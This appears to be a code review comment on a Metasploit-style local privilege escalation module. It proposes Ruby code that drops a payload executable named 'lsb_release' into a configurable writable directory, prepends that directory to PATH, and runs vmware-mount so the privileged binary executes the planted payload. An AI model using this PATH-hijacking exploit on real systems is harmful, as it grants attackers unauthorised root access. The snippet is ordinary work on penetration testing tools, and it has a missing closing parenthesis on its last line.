Add configurable directory

Add configurable directory, rather than relying on the session working directory.
How about we go with something like this:
``` ruby
lsb_path = File.join(datastore['WRITEABLEDIR'], 'lsb_release')
write_file(lsb_path, generate_payload_exe)
cmd_exec("chmod +x #{lsb_path}")
cmd_exec("PATH=#{datastore['WRITEABLEPATH']}:$PATH /usr/bin/vmware-mount")
cmd_exec("rm -f #{lsb_path}"
```
Reduces repetition a bit.

Thoughts?